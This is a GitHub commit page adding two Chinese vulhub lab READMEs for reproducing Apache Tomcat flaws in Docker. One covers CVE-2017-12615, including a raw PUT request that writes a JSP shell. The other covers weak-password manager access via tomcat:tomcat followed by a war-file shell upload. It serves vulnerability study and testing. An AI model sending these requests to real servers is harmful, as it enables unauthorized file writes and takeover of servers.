forked from vulhub/vulhub
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
update translation translate/tomcat (vulhub#63)
* Rename README.md to README.zh-cn.md * Create README.md * Rename README.md to README.zh-cn.md * Create README.md * Update README.md * Update README.md * Update README.md * Update README.md
- Loading branch information
Showing
4 changed files
with
163 additions
and
33 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
# Tomcat PUT方法任意写文件漏洞(CVE-2017-12615) | ||
|
||
Tomcat版本:8.5.19 | ||
|
||
## 环境搭建 | ||
|
||
``` | ||
docker-compose build | ||
docker-compose up -d | ||
``` | ||
|
||
运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。 | ||
|
||
## 漏洞原理 | ||
|
||
参考: | ||
|
||
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html | ||
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5 | ||
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e | ||
|
||
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件: | ||
|
||
``` | ||
<servlet> | ||
<servlet-name>default</servlet-name> | ||
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> | ||
<init-param> | ||
<param-name>debug</param-name> | ||
<param-value>0</param-value> | ||
</init-param> | ||
<init-param> | ||
<param-name>listings</param-name> | ||
<param-value>false</param-value> | ||
</init-param> | ||
<init-param> | ||
<param-name>readonly</param-name> | ||
<param-value>false</param-value> | ||
</init-param> | ||
<load-on-startup>1</load-on-startup> | ||
</servlet> | ||
``` | ||
|
||
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。 | ||
|
||
## 漏洞复现 | ||
|
||
直接发送以下数据包即可在Web根目录写入shell: | ||
|
||
``` | ||
PUT /1.jsp/ HTTP/1.1 | ||
Host: your-ip:8080 | ||
Accept: */* | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 5 | ||
shell | ||
``` | ||
|
||
如下: | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
# Tomcat7+ 弱口令 && 后台getshell漏洞 | ||
|
||
Tomcat版本:8.0 | ||
|
||
## 环境说明 | ||
|
||
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。 | ||
|
||
Tomcat7+权限分为: | ||
|
||
- manager(后台管理) | ||
- manager-gui 拥有html页面权限 | ||
- manager-status 拥有查看status的权限 | ||
- manager-script 拥有text接口的权限,和status权限 | ||
- manager-jmx 拥有jmx权限,和status权限 | ||
- host-manager(虚拟主机管理) | ||
- admin-gui 拥有html页面权限 | ||
- admin-script 拥有text接口权限 | ||
|
||
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html | ||
|
||
在`conf/tomcat-users.xml`文件中配置用户的权限: | ||
|
||
```xml | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<tomcat-users xmlns="http://tomcat.apache.org/xml" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" | ||
version="1.0"> | ||
|
||
<role rolename="manager-gui"/> | ||
<role rolename="manager-script"/> | ||
<role rolename="manager-jmx"/> | ||
<role rolename="manager-status"/> | ||
<role rolename="admin-gui"/> | ||
<role rolename="admin-script"/> | ||
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> | ||
|
||
</tomcat-users> | ||
``` | ||
|
||
可见,用户tomcat拥有上述所有权限,密码是`tomcat`。 | ||
|
||
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。 | ||
|
||
## 漏洞测试 | ||
|
||
无需编译,直接启动整个环境: | ||
|
||
``` | ||
docker-compose up -d | ||
``` | ||
|
||
打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台: | ||
|
||
 | ||
|
||
上传war包即可直接getshell。 |